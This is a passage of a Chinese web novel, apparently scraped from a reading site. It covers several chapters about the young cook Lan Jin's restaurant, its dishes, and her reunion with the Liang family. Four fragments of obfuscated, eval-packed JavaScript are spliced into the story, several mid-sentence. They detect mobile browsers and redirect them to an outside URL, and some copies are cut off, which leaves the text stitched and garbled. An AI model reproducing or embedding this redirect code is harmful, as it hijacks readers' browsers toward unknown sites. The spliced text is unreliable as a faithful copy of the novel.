l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541992|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。川南花椒香味霸道，把鱼的腥气挤得无影无踪。 往常只是听说蓝记小馆的手艺新奇特别，在座的不少人，都是第一回吃这么辣的菜色。 已经有人嘶哈着舌头说道：“掌柜的！可能有解辣的饮子？” 蓝锦手里煎着鱼，腾挪不开，对小娘子说道：“有乌梅饮子。就在屏风后的墙角，我待会就帮您上啊！” 萧清珩离那头最近，她干脆起身，大迈步往屏风后去了。 “清珩，我也要一份，多拿几坛吧！” “好嘞！这里头不止有乌梅饮子，还有......哥？” 萧仁禹猝不及防：“你怎么在这？” 刚才店里突然来了一帮人，闹哄哄的。他满心想着快些吃完溜走，谁曾想里头竟然有他自家妹妹。 “这话该我问你吧，这还是我们家喝露水长大的萧二郎君吗？你怎么也来这种地方，还......还吃那么多？” 萧清珩指着几乎见底的烤鱼锅，连豆皮、豆芽、宽粉和白菘......她还没吃上的，这儿几乎不剩几片了。 萧仁禹淡淡道：“那怎么了？” 萧清珩的气势一点不弱：“不是，你在我们面前东也嫌，西也挑，翻过脸来就在外头大快朵颐？” “客官？这会儿可要下菜？烤鱼吃得差不离了，加些高汤进去，能涮些素菜。汤味炖得更浓郁，煮菜也更香的。” 蓝锦拎着一壶高汤，来到小秋同窗们这一桌。 萧氏兄妹同时收了声，互相白了一眼，都打算回家再找对方算账。 “清珩，乌梅饮子还没找到吗？掌柜的给咱们上了不辣的鱼，是酸甜的！快回来吃。” 萧清珩抱着满怀的乌梅饮子回了桌。悟雅端来了番茄味的水煮鱼片。 酸甜开胃的热汤一入肚腹，每一个细胞都争先恐后地把自己浸润在这场味觉盛飨里。 汹涌香甜、颇有独特风格的浓郁汤汁席卷了口腔。 吃不了辣的小娘子们，给自家的小碗里添上一勺又一勺，连肉带汤，白生生，红艳艳的。 汝月的片鱼手艺越练越高超，洁白的鱼片没有一根刺。 卧在醇香的酸汤里，像番茄海里的一艘艘小白船，有着流畅圆润的线条。 萧清珩夹起一片来，鱼肉的纹理已叫番茄的红汤着了色，勾勒出健壮肥美的肉瓣。 放进嘴中，酸甜的汤汁刺激唾液的分泌，鱼片的弹嫩贴着唇舌。 牙齿一碰鱼肉，立时碎了满嘴。像云朵一样，绵延不绝的鱼鲜味，满足了每一处味蕾。 大家渐渐就吃得忘了神，拿小勺子，一口一口地舀着暖热又酸甜可人的鱼汤喝。 烫烫的，满足。咽下肚之后，浑身都沉浸在这种暖香中。 鱼的鲜香引来了外头的猫儿。小秋跟阿姐要了剩下的边角料，颠颠地跑去迎接新朋友。 这几只狸花猫和橘白猫不是第一次来了。 早先仅有一只在附近游荡。叫小秋喂过之后，好像都知道了这里是天堂般的觅食处。呼朋引伴的，越聚越多。 “喵呜~”埋头苦吃的猫猫们发出呜呜的声响，像是吃得太兴奋，兴奋得在跟谁生气似的。 50. 第50章 转眼已是小年，天都的冬来得比万年县的迟。许是人口多，四处都透着些暖意。 蓝锦家早早地烧上了热炕。天都的炭火多是从周边庄子供应的，价格并不过分，蓝锦也不愿亏待自家。 “满婶子，买菜去呀？” “是咧，昨儿得了武陵酒。听闻今日要封港，赶着去买些南来的时蔬，搭着鲜味，喝酒才更香啊。” “婶子要带修远来我家吃三鲜锅啊。里头有白菘，冬笋，炸肉皮，还有鹌鹑蛋。也极搭你家的武陵酒！” 蓝锦拿着把大笤帚，扫后门的雪。跟挎着篮子出门的顾满年狭巷相逢，还不忘揽客。 “得嘞！”不消蓝锦招呼，顾满年也是要去的。蓝小娘子的手艺，附近几条巷子都闻名的。 两家人是因小秋熟络的，顾婶娘家的洛修远和小秋同岁。 此前，有些揠苗助长的蓝锦，浑然不觉将小秋送到满是大姐姐的学堂有什么不对。 待她回过神来，才惊觉小秋没什么同龄的玩伴。 小秋要么围着姐姐们做小妹妹，要么在梁老夫人的膝头做孙女辈。——全家就那只新来的狮子狗比她年纪小。 小秋倒是不觉得有什么，全然乐在其中。 她年纪虽小，却学什么像什么。武学课不遗余力，案头功课也出色。 如今，俨然成了各位夫人的心头爱，总要请“那个可爱的岳小娘子”去家里头玩，好叫自家女儿沾染上几分学霸气息。 小秋常出入高门大户，永远不忘的是带上自家阿姐的手艺，煞有介事地宣传蓝记小馆。 “蓝掌柜可在家？”是梁府的碧桃按时报到。 蓝锦系上围裙，远远地应声：“哎！来得这样早！” “可不是，老夫人一刻都等不及，打一睁眼，就问了不下十回啦。” 梁若虹想吃蓝记的大包子。让碧桃说，不看别的，单看蓝锦包包子的手法—— 双手如蝴蝶翻飞，搬出一盆现调的黑猪肉馅，一眨眼的功夫就掐成一个十八个褶子的大包。 观众就能馋得流口水。 黑猪肉包，一咬下去，肉汁就流了满嘴。肉质不是紧揪揪的，却是松软弹嫩的。 包子皮格外暄软吸汁，每一个小孔洞都在释放香味。 蓝锦近来新招了个白案娘子陈千，便专门支了一个小窗口，卖各种熟食点心。 附近的住客买回去，放锅里一热，或是冷着吃，都是极好的。 肉食有酱牛肉、烤羊肉串、炸小黄鱼儿、炸小河虾、手撕鸡...... 面食有芝麻火烧、黑猪肉包子、香辣豆腐包子、梅干菜包子...... 梁若虹唯爱黑猪肉包，力破豕肉价贱的偏见。 蓝锦把刚蒸好的黑猪瘦肉包，还有梁老夫人自带食材特供的牛肉大葱包一一捡出来，装盒打包好，递到日日辛苦碧桃面前。 碧桃瞧着额外多出来的小包袱，知道是蓝锦特意给自己开的小灶，笑靥如花。 刚一回马车上，她便迫不及待地拿起大包来咬。 一口下去，唔，是黑猪肉馅的！肉汁四溢，咸香满口，面皮暄软。 再来一个，葱香扑鼻，肉质弹嫩，牛肉馅的也好吃！ 小秋是日日拿这美味好包当朝食的，馅儿天天不重样。 洛修远睡眼惺忪地爬起来，家里连个人影也见不着。她习以为常地跑到蓝记：“秋姐姐，你吃的什么？” “喏，给你。”小秋拿起一个黑猪肉包，递给洛修远。 顾满年日日忙着酒坊生意。她每月给了蓝锦一笔钱，算是把洛修远的三餐托管在蓝记了。 蓝锦换掉了家常衣服，一出来就瞧见两个毛绒脑袋埋头苦吃。 她笑着跟汝月和千娘交待一声，径自出了门，去买些祭灶用的物什。 腊月里祭灶的习俗古已有之。蓝锦入乡随俗，少不得也要凑个热闹。 庆祝年节不在于那个节，一帮人一起做些有仪式感的事，平淡的生活也有了奔头。 蓝锦买了粗线条绘就的灶王历，街上四处都是摆着火架子、跳请神舞的杂耍艺人。不时从口中喷出火来，赢得围观众人一片叫好。 年前赚完最后一笔，收拾行囊好过年。蓝锦也凑趣，往笸箩里抛了几枚铜钱。 祭灶要吃甜食。西街有家汤圆包得好，黑芝麻馅揉了猪油进去。 煮好一咬，甜蜜浓香的黑馅料就酽酽地淌出来。 蓝锦主要是来买这个，省得自家动手。她们吃过一回，全家都说好。 灶王爷的甜食就买些糖瓜，粘住了他的嘴。好叫他不要有的没的都往上头去说。 小秋把这典故记到了心里。夏日里头，她自己吃蜜糖冰碗，还不忘向灶王爷的红嘴唇上抹一圈。 如是招来了好些小飞虫，绕着厨房久久不散。 汝月还怕是她腌的酸豆角砸了锅，这才招来的，连着坛子给扔了。 后来这桩悬案终于告破，姐妹几个差点笑破肚皮。 买完这些顶要紧的，蓝锦逛到纸扎铺子里头，买一匹纸马。 把灶君的坐骑烧了，叫他行不得路。 瞧着利落干练的纸扎铺娘子，一身白衣飘飘乎似羽化登仙。 蓝锦忍不住好奇多嘴：“掌柜的，你可会扎那种等身的纸人，能控制他替你干活的？” 人家面上一肃，对蓝锦正色道：“小娘子，那是骗人的。” 蓝锦吐了吐舌头。好罢，此间的灵异事项，可能就她一个。 这副偷感十足的样子，却正巧让萧仁禹撞上了。 小年的时节，他不在家，全是因为叫家里人念得头大。 大哥不在，没人当家中的集火点。萧清珩唯恐天下不乱，日复一日地在母亲耳边大肆渲染自家亲二哥的外道行径。 ——在家里做出厌食模样，在外头找到美味的馆子大快朵颐，还藏着不告诉她们！ 萧仁禹心中明镜似的，他这小妹不过是怕她又跑出去操练什么娘子军的事情败露，祸水东引。 “嗳，萧郎君这一向做天都的生意？没想到离了万年县，倒总能见着你！” “咳......刚把万年县的别院卖了，来天都发展新生意。” “真巧。萧郎君上进！连小年都在外奔波。” 蓝锦也不知道怎么回事，俩人莫名其妙地一问一答，萧郎君就跟着她回了蓝记，手里还拎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541993|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着从她手里接过去的大包小裹。 汝月和小秋虽面上怔了一下，也接受良好——大家在万年县到底也是见过的。 千娘有些觉得奇怪了。 这是哪家的郎君，瞧着仪表堂堂，贵气逼人，该是哪家勋贵子弟吧？ 怎么小年时节，还来她们家小店凑热闹？ 热腾腾的盐焗鸡和梅菜扣肉端上来，一群心思各异的人就在圆桌前坐下了。 “千娘，你也坐！我们蓝记不讲那些尊卑贵贱，大家都是一样的人。” 陈千将刚切好的腊肠、腊鸭搁在桌上，嘿嘿一笑，东家就是客气。此前已给了她过节银子，如今又有口福。 她来了蓝记，不知多少熟人羡慕。 不仅活计较从前轻省——打水涮洗都有人包圆。因着生意红火，分到的银钱也比以往多得多。 悟雅全然混得熟了。她率先挖了一勺子八宝甜饭，这里头有双色糯米，红豆沙，莲子，红枣，甚至还有西域的葡萄干。 甜甜糯糯的，天都很少见过这种菜色。 蓝小娘子说这是南人的吃法。年节时尤爱吃，因它很有些风调雨顺的吉祥兆头。 样子是圆满对称，去了核的红枣嵌了一圈，多样的食材五彩缤纷。 小娘子做的时候她瞧见了，白花花的砂糖不要钱似的，大把大把地放。 悟雅从小缺油水，对这种甜食爱得不行。 萧仁禹守着一份丸子汤，喝得看不见脸。 面前的小瓷碟上，堆满了骨头。它们分属于盐焗鸡、腊鸭...... 他还学了蓝锦的吃法，拿暄软的大白馒头夹了大片的梅菜扣肉。 双手轻轻一挤，边缘??得焦黄发亮的扣肉，溢出了油润的汁水，瞬间叫外层的馒头吸走。 雪白染上焦褐，二者的美味都拔高一个度。 “吃一口肉夹馍，再喝一口冬瓜肉丸汤，鲜美又解腻。” 蓝锦看到他的动作，一心以为他也是同道中人。 萧仁禹深以为是。 馒头解了大荤的油腻，肉食又弥补了馒头的清淡，让人忍不住一口接一口。 冬瓜的鲜甜就像是榫卯结构里的一块，在这场味觉盛宴里不可或缺，严丝合缝。 他吃饭的动作虽雅致，可进食速度却很快。 蓝锦还没吃完半个“肉夹馍”，旁边的人已经大刀阔斧地吃完了两个。 她心中暗自吃惊，偷偷去瞧萧仁禹的小腹。 金线滚边的黑衣下平整结实，跟他这个人一样低调。 吃那么多还没有小肚子——羡慕！真不愧是走商的人。 “萧郎君，你都去过哪些地方走商呀？” 蓝锦属实有些羡慕，她一直窝在陆地上，还从未在海上生活过。 萧仁禹的脑袋转得飞快......哪些地方呢？ 他一下子想到小妹书房里的话本子—— “近一些的是泉南，其人喜食海物。交趾更潮腻，人人用大象驮物。天竺一带，处处都像天都寺中景象。三佛齐有好稻米......” 蓝锦属实向往。随着萧仁禹的娓娓道来，想到了渚清沙白，蓝天白云...... 51. 第51章 萧国公府向来不重视什么年节。 留守家中的两个小主子都是去外头野。长辈里只剩下一个萧夫人蒋长昭，也是常年驻守佛堂，唯有抽鞭子上家法时才踏出来一步。 后山里，萧清珩大马金刀地，把一只腿往充校场高台的椅子上一放，刚要对这支一手拉起来的姐妹军团训话—— 就有人神神秘秘地到她耳侧说：“清珩，我们之前在东市瞧见你二哥了。” “听雪轩？”萧清珩没太放在心上。她知道，东市有个酒楼，常年做追捧她二哥的小娘子们的生意。 萧清珩觉得她们脑子不太好，连她二哥都奉上神坛，一向敬而远之。 “不是！是蓝记小馆，咱们去吃过烤鱼的那家。” ——好哇，他又去了？ 蓝记小馆还是一贯的热闹。今日梁府的庄子上送来了几只肥润的大笨鹅，足斤足两。她打算做出火焰醉鹅，是广东那边的名菜。 就在这时，妙清师太突然出现在了蓝记小馆。她刚好来天都赶年前最大的一场浴佛节，要给信众讲经的。 蓝锦也不知她怎么七拐八拐地找来的，他乡遇故知，正惊喜着。 “师太，这一向少见！娘娘庙一切可好？蜜塔可还稳妥？” “都好都好，蓝记糕团生意也好。给我们庙里做的蜜塔，比从前还走俏。青枫还说喜饼做不过来，没了蓝小娘子，都没法推新了。我来时还去了饮食店，红火着呐！只是，婶娘们都想你！” 妙清没说空话。她双手塞得满满当当，全是受人之托，自万年县带来的东西。 小坛装的酱瓜、糖蒜，炸的麻团、麻花。今秋新打的精米精面，腊鸡、腊鸭，晒干的山核桃、山蘑，甚至还有一整条的猪腿...... 妙清一样样往外拿：“那猪腿是她们听走商的说，能腌成火腿的，是好东西。这袋子里还有秋日里晒的菊花、金银花、甘草，留给你泡水喝。人忙起来嘴皮子起燎泡，喝这个正好。” “辛苦师太远道而来，还给我带这些。”蓝锦感动得几乎热泪盈眶。 “如今我师姐不在，你只消给我上点她不叫我吃的——什么辛苦，我浑都忘了！”妙清笑得促狭。 蓝锦笑着点头应下，打算给她做一大桌能体现手艺的硬菜。 汝月先给妙清上了一杯珍珠牛乳茶：“师太，这是我们冬日里的主推，试了很多次的，你尝尝！” 妙清拿在手里，捏着粗粗的空心芦苇杆子一吸，吃到了焦糖味的乌黑小圆子。 “妙啊，妙啊。不知是什么物什，咬起来弹嫩又香甜。和这个甜滋滋的热饮子绝配。”妙清开心地一拍大腿。 蓝锦笑眯眯过来，给她端上一盘荔枝肉。 这是福建那边的吃法，一颗颗形似荔枝的空心红肉丸，伴着圆滚滚的白嫩荸荠，酸甜气味令人食指大动。 “若好吃，师太要多来，给我们店里也添些佛缘！” 妙清吃得眉毛都是戏，眉梢快飞上天了。 蓝锦又端来一整只的冰糖炖蹄髈。 几近脱骨的酱色蹄髈像一座小山一样，堆在瓷白大碗里。津亮的肉皮颤巍巍，抖个不停。 素菜是一道梅菜啫菜心。妙清夹了一点梅菜小粒来尝，赞道：“咸里带着一点特别的甜，鲜美得很，好特别的味道。” 蓝锦笑道：“见着这菜可是大幸运，原是一个被流放又经了大赦的乡民，自南方一路背回来的。” 妙清饶有兴味地听着：“可见这地阔天长的，每个地界都有些不为人知的美味。” “要做出这道美味，就得用砂锅，使一种叫啫啫的做法。不放水，大火焗那嫩菜心粒，把水分逼出去才行。” 妙清就着这咸甜菜心，下了半碗米饭。一边叫着“肚儿圆了圆了”，一边仍是不舍得放下碗。 蓝锦围着围裙，正好邀请妙清来后厨，看她做一道炫技菜——火焰醉鹅。 她手下利落，把一只大鹅“批大郤，导大窾”地剁成小块。 此前腌制的腐乳和南乳派上了用场。蓝锦各放了点在小碗中，还倒了些南乳汁子。 糖、味极鲜、芝麻酱和干螺干贝粉都一块搅进去。 这道菜也是炒干水汽、再炖煮入味的做法，其实很简单。 蓝锦起锅加油，把鹅肉块炒得干干的。 直到鹅皮鹅肉边缘变得焦黄，每一块都裹上了透亮的油脂，才盛出来。 她把铁锅爆香，炒好的鹅肉往锅中一倒，“滋啦”一声。拿炒勺，把调好的腌料酱汁都倒进去。 蓝锦手腕使力颠锅，鹅肉块上下翻滚。每一块焦黄的鹅肉，都裹上了绯红浓稠的酱料。 看着火候差不多了，她把一瓶米酒“咕嘟咕嘟”全倒进去。把锅盖上，但留着一条小缝。 她叫妙清往后退，往锅盖周边倒上一圈米酒—— “唰”地一下，鹅肉锅上窜起来赤红的火焰。 妙清又是一拊掌：“哎呀，怪道说叫‘火焰醉’，生动，贴切！” 蓝锦笑眯眯的：“这个应景，祝咱们以后红红火火。” 她耐心地等着舔舐铁锅的火苗燃烧殆尽，知道它没了燃料，才拿着手巾把锅盖掀起来。 米酒的酒精没了，香味却执着地留了下来，和鹅肉相交相缠。 再把些寻常的炖肉香料下进去，额外放几块冰糖。蓝锦把盖子一盖，继续焖上一会。 ** “嗳，好香好香的味道。” 隔壁桌的火焰醉鹅刚一端上来，炙热的酒香便扑鼻而来。 萧清珩为首的小娘子们，目光忍不住锁定。 鹅肉被烈火焗烧得泛着焦褐色的光泽，皮子甚至鼓起了小泡。 那种勾人摄魄的味道轻易地传到了她们这里。 她们点的菜还没有上，面前空空如也。只能眼巴巴地瞧着妙清夹起一块，只觉鹅皮上的油脂好像还在滋滋作响。 光是看着别人咬下那层脆皮，就好像都能听见一声细密清脆的撕裂声，能想象出皮下的柔韧肉感。 妙清神情沉醉。这醉鹅肥而不腻，每嚼一下，浓郁的酱香和酒香就争先恐后地充溢口腔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541994|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >肉完全脱骨，一抿就从骨头上滑下来。满嘴都是充实的肉感，滑，嫩，香，鲜。 她大声夸赞：“蓝小娘子，火焰醉鹅实在是妙！我最爱鹅皮上那一丝若有若无的焦甜。谁想到，皮下的肉也这么甜嫩，每一根肉丝都含着酒香，还有那酱汁，你怎么就调出这样好的口味！” 妙清师太这一吹捧不要紧，全店客人的目光都投到这位看起来是出家人，却豪迈地“酒肉穿肠过”的师傅身上了。 蓝锦笑着道：“师太信奉的教义没有严苛食戒的。客官好奇，何不也来一份尝尝？” 瞬间单子如雪花般飞来。不多时，火焰醉鹅几乎摆上了店里的每一桌。 挎着大刀的巡卫是蓝记的老客了。蓝锦后来才知他是附近巡逻的校尉。 校尉张大嘴咬下一口醉鹅，只觉一股子鲜美的肉香，混杂温热酒气直冲鼻腔。 整个人从头到脚都被烘烤得暖融融的。 他不禁叹道：“怪道说要温酒，这滋味，胜过冷杯冷盏许多！” 酒气初时尝着有一丝微苦，其后浓郁的汤汁四处扩散，浓烈醉人的鲜甜肉香，席卷唇齿间。 一时屋里都没有说话声，来不及！一盆盆酱香浓郁的醉鹅，不多时就给人夹完了。 萧清珩也慢吞吞地啃着鹅腿，她疑心自己要醉了，只觉脑袋晕乎乎的。 她想起小时候，父亲打了胜仗回家，把她举到半空中。母亲在旁边轻嗔，她却一点不怕，直叫唤道：“再举高点，再举高点！” 家中只有她有此待遇。 那时他大哥还不像现在这样人嫌狗嫌，二哥嘛......倒还是一样的万年冰山脸。 萧清珩暗自“啧”了一声，这酒气又让她想到了小时候的年夜饭。 到了夜间，天上竟飘了鹅毛雪。府里檐下有一串串的冰凌，瞧着发冷，屋子里却烧着热烫的地龙。 父亲喝醉了酒，揪着二哥验收功课，要和他比剑。她先一步拦在二哥面前，气势汹汹地质问父亲，为何不与她比。 大哥手欠，从后头偷袭她，一剑挑掉了她手里的剑穗子。气得她撵着大哥，上房下榻地追打。 二哥就在一旁不动声色地给大哥使绊子。父亲也暗中搅混水，把下酒的毛豆壳，当暗器袭人膝盖弯。 如此混乱的战局，唯有母亲抽出鞭子，才能强行分出高下。 “清珩，你笑什么呀！”旁边人一拍她的肩膀。 萧清珩一晃神，这才回过味来。眼前的碗筷已经空着，只有嘴里还留着酒肉香。 刚才的种种美梦，竟然只是火焰醉鹅勾起来的想象。 萧清珩呵呵一笑：“这米酒香气太特别了，勾人肚腹里的馋虫，实在好吃。” 满桌小娘子，没有不赞同的。——毕竟人人面前的鹅骨头，都堆得小山一般。 自此，蓝记的火焰醉鹅，在天都贵族圈里悄然流行。 几乎日日都有人寻摸了膘肥体壮的大鹅，送到蓝记小馆，没叫一只鹅活着走出天都。 蓝锦自此多了一个称号——“酒香娘子”。 52. 第52章 小秋今日掉了颗虎牙。 蓝锦把她安慰了又安慰，说人人都会走上这么一遭。 她看到的那些牙齿整齐的大人，小时也是顶着个缺牙小洞，四处招摇。 “阿姐，真的吗，人家不会笑话我吗？”小秋神色郁郁，几乎不想出门了。 蓝锦却先她一步想好了：“不会的！这样好不好？我们去看冰嬉，吃糖雪球，庆祝小秋掉牙一颗。如何？” 汝月笑道：“再去逛霓裳阁，上回掌柜娘子来买糖藕，说家里出了藕荷色的裙衫，正合我们小秋穿。” 家中的狮子狗好像听懂了“出去玩”的聊天，把小尾巴摇得欢快。 这颗牙是它和小秋打闹的时候掉的，现在狮子狗喜提新名字——虎牙。 小秋终于破涕为笑了。原来掉了牙、顶着个豁牙，是值得庆祝的好事情。 天都的冬天冷得热闹。护城河上结了厚冰，挤挨挨的四处是人。 小秋戴着蓝锦给她挑的织锦围脖，小半张脸都缩在里头。 虽然阿姐说了没事，但她还是觉得有一点点，一点点不好意思。 而且，现在一张嘴就漏风，嗓子眼里怪冷的！ 总之，小秋偶尔还是把下半张脸，缩到围脖里头去。待她玩得疯起来了，就全忘到脑后了。 几个穿着罩衫厚袄的孩童在冰面上打出溜滑，小秋也去学。汝月抱着狮子狗，迈开了长腿，一人一狗都追不及。 快过年了，冰嬉训练已经停了，倒是糖雪球摊子还在。蓝锦买了一袋，一家人分着吃。 鲜红的小圆球上布满了白色的糖霜，含在嘴里，那一层甜蜜的硬壳子就化了。 里头是软的，上下牙一用劲，酸甜味瞬间席卷，口齿生津。 小秋时刻惦着对自己极好的梁老夫人，说要把糖雪球带给梁外祖母尝尝。 蓝锦无奈，这样的街头小物，老夫人恐怕不大看得上。 但她没扫小秋的兴致，额外多买了些，几人一道往梁府去了。 梁府角门上闹嚷嚷的，蓝锦一行走进门房，跺了跺脚上的雪，疑道： “门口那些人是干什么的？” 碧桃斜瞥过去一眼：“认亲的。那家子隔三岔五就来闹上这么一回。大姑娘摊上这么个狼心狗肺的父族，也是倒霉。” 梁若虹和离的时候，有大长公主撑腰。 加上那档子事，更是占理。将自己的陪嫁，和这些年翻了不知几倍的利润，带走了个干净。 她的前夫朱氏，本就靠攀附梁若虹起家。 这下算是叫人抽掉了脊梁骨，一朝打回原形，眼红不甘，偏又没法子。 难为他们辗转反侧，想出这么一个损招，从大姑娘走失的女儿身上入手。 接二连三，找来一些十六七岁女孩儿，仗着长得有几分相似的，就指鹿为马，说寻回了梁老夫人的亲外孙女。 蓝锦一吐舌头，高门绣户的，也弄得这般不堪？ “他们还要体面？没皮没脸的人，还配谈这个？也就是老夫人好性儿，生怕打杀了去，传出什么不好，别再吓得自家外孙女不敢回家。”碧桃一边嗤笑，一边侧头去听门上婆子的回话。 “碧桃姑娘，这回他们说有验明正身的东西，是把长命锁。”守门婆子拿着一张纸样，绘了长命锁的纹饰。 碧桃看也不看：“多新鲜！难道老夫人打锁的时候，他们没见过，满月酒他们没喝？翻腾出个把工匠，是多难的事？撵出去！” 汝月站在婆子身后，正巧把那张纹样看了个清楚。她从前做惯了女红的，对花样子最是敏感。 “这个锁......这个纹样，是很常见的纹样吗？” 碧桃扭过脸来，眼中带了三分讶色：“汝月姑娘为何这么说？不常见的，这是老夫人亲自请托大慈音寺的慧明大师绘成的，市面上没有。” 她叫人把花样子留下，拿到汝月面前：“姑娘再仔细看看，可曾真在别处见过？” 汝月有些摸不着头脑，看了一眼替小秋擦嘴角的蓝锦，依言接过花样子，仔细瞧了一遍。 “没错，就是这样的。上头有两尾鱼，围着一只脚踏金莲的小狮子，底下还有两扇特别大的翅膀......我从未见过这种花样，太不一般了，一下便记住了。” 蓝锦注意到这里的动静，和小秋两个，也不吃糖雪球了，围将过来。 碧桃语气有几分激动，手都抖起来了：“当真？汝月姑娘可还记得，在何时何地见过的？你可别心急，慢慢想，慢慢想！” 汝月挠挠头，心下奇怪：“这不就是我师父的长命锁吗？你们常常相见的，缘何连这个也不知？” ** 梁若虹恍惚以为自己的在做梦。方才碧桃一路小跑着来寻她，说什么找着了小小姐，她还不敢信。 “老夫人，是真的，您看。” 蓝锦将贴身戴着的长命锁拿在手中，梁若虹颤巍巍地走上前，手指摩挲着锁上的纹路： “乖乖，你缘何不家来寻我！” “我......我......”蓝锦不知说些什么，她不记得这些呀！ 她扶着老夫人回到软榻上坐着，拿着帕子与她拭泪。 “我的心肝儿，你这些年受苦了！”老夫人一把将蓝锦揽在怀里。周围的人也是掩面含泣。 只小秋不大懂。还有廊下挂着的绿皮鹦哥，掐着嗓子叫：“受苦了！受苦了！” 碧桃着人把它拎走喂食，这么一打岔，一屋子人渐渐收了声。 梁若虹问蓝锦如何到了岳家，如何学了手艺，如何忘了前尘，又开起铺子来。 蓝锦有些措手不及，只能尽力应付了。说自己奔波伤了脑袋，幸好有了奇遇，又碰上岳家相救。 据梁老夫人所说，“她”丢了快三年。此前两年的空白，她便以遇山中高人指点，含糊了过去。 梁若虹听闻岳家的搭救之恩，连带着对小秋也爱怜不够，把她拉上膝头：“从前白叫我一句外祖母，谁曾想缘分应在这里，以后便正经做了祖孙了。” 碧桃也把泪眼换了笑眼，过来凑趣：“正该给老夫人贺喜，如今一下有了两个可人疼的外孙女。这是喜事，一家团圆了，合该吃个团圆宴庆祝。” 梁老夫人也道：“都欢喜得忘了，这个时辰了，快叫摆饭吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541995|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >碧桃挥一挥手，外头候着上菜的仆妇们鱼贯而入。 说话间，已林林总总摆了一桌子。有炸鹌鹑，使五香汁子卤了，盛在青花碟子里。 又有夏日里头摘了晒干的苋菜，切剁成末，点了些香油，蒸成的菜肉包子。 梁若虹一手拉着一个，携着蓝锦姐妹俩到桌边挨着坐下，喜吟吟道：“尝尝这道芙蓉鸡，你小时常吃的。秋姐儿换了牙，吃这个软滑的正相宜。” 小秋这才想起自己带了糖雪球来，直说要给外祖母尝尝。 碧桃早已使人用白瓷盘装着了，奉到梁若虹面前。梁老夫人十分配合地吃了一颗：“嗯！美味，只是不能多吃，要把老骨头的牙根酸倒了。该拿去给鹦哥也尝尝，酸倒它的舌头，叫它没法学舌！” 女婢们笑着应了。 蓝锦则是笑着舀了一勺芙蓉鸡片。洁白的芡汁勾得透滑油亮。这道菜没法用筷子夹，夹不起来，只能拿小勺子舀。 鸡片细嫩，柔软却不失完整，像一朵朵绽放在盘中的白玉兰。 “唔！滑嫩鲜甜，像吃豆腐似的，难为下厨之人做得这般精致。” 细细咂摸，里头不仅有鸡肉的滋味，还有鸡蛋和鱼肉的鲜美。 这道菜虽然历史悠久，在许多地域的餐桌上都有其身影，但并不好做。 首先就得将肉捶打成泥，耗工夫不说，还不易炸制成型。 面前的这道就处理得极好。料汁均匀地裹在每一块鸡片上，吃起来还松软不柴，柔嫩多汁。 “这是傅厨娘的拿手菜，搬家的时候，我特意叫她跟来的。生怕我的娇娇儿回了外祖母家，没有芙蓉鸡吃。” 梁若虹这一餐饭胃口大开，竟吃下一整碗碧粳米饭。 当晚，梁若虹便不许蓝锦姐妹俩走了，连带汝月也被留下。 梁老夫人唤碧桃快收拾厢房。又想要大兴土木，把闲搁着等人的东跨院，从里到外翻新一遍。 蓝锦还想拦着，碧桃却先过来笑着拦她：“就让老夫人折腾去，难得她这般有兴致。” 梁若虹倒先对蓝锦发难了：“那小食店也不要做了。风吹日晒，烟熏火燎的，给我娇娇儿累坏了。” 蓝锦笑道：“哪里至于。有屋有檐的，风吹不着我，雨也淋不着我。早先不是跟您说过，我想开大酒肆的。” 梁若虹摆摆手：“小姑娘家不懂，上了年纪才知劳碌的苦，等这里也疼、那里也痛，你就知道厉害了！前两年你是没法子，如今家里什么没有？我又能陪你多少时日......” 让她抛下生意，到梁家做闺阁女吗？蓝锦心里莫名有种不安。她握着梁若虹的手，认真道：“老夫人......” 梁若虹只道：“该叫外祖母！” 蓝锦笑了：“外祖母，我没有旁的愿望，只有这一个想头。若少了它，日子也没甚趣味了。” 梁若虹不依，终究把蓝锦留下，使人给蓝记小馆挂上了歇业的牌子。 “母亲，真有好醉鹅，我不骗你！” 萧清珩好说歹说，把蒋长昭带出了小佛堂，期望她也来尝尝能唤起美梦的火焰醉鹅。 “咦，店怎么关了？” 53. 第53章 这是蓝锦认回梁家的第一个年。 梁若虹尊重蓝锦的意愿，以为她不喜“徐”姓，兼之“锦”字并不比“瑾”字差在哪里，平素依然只唤她“蓝锦”。 其余万事，都好说话。可唯独出门开食店这一桩，怎么也不放她去，不舍得。 蓝锦撩开浴房的纱帘，问道：“老夫人和小秋可歇下了？” 合欢乖巧点点头：“歇下了。” 蓝锦撇下还在冒着热气的药浴桶，鬼祟地从东院角门出去了。 